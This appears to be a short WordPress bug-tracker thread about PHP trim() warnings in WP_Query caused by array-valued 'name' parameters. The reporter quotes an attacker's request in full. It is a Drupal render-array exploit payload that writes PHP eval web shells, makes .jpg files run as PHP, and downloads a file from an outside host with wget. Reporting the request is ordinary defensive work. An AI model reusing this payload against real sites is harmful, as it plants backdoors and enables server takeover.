parse_query: E_WARNING: trim() expects parameter 1 to be string, array given

[conner_bw]

We keep seeing E_WARNING: trim() expects parameter 1 to be string, array given in our New Relic logs.

The problem is this line of code:

$qv['name'] = trim( $qv['name'] );

Source: ​https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764

A (malicious) user sends a request that looks like:

> GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo 'Vuln!! patch it Now!' > vuln.htm; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; echo 'AddType application/x-httpd-php .jpg' > .htaccess; wget 'http://40k.waszmann.de/Deutsch/images/up.php'

Such a request makes $qv['name'] an array, not a string.

Needs to be sanitized.

[SergeyBiryukov]

Hi there, thanks for the report!

We're already tracking this issue in #17737.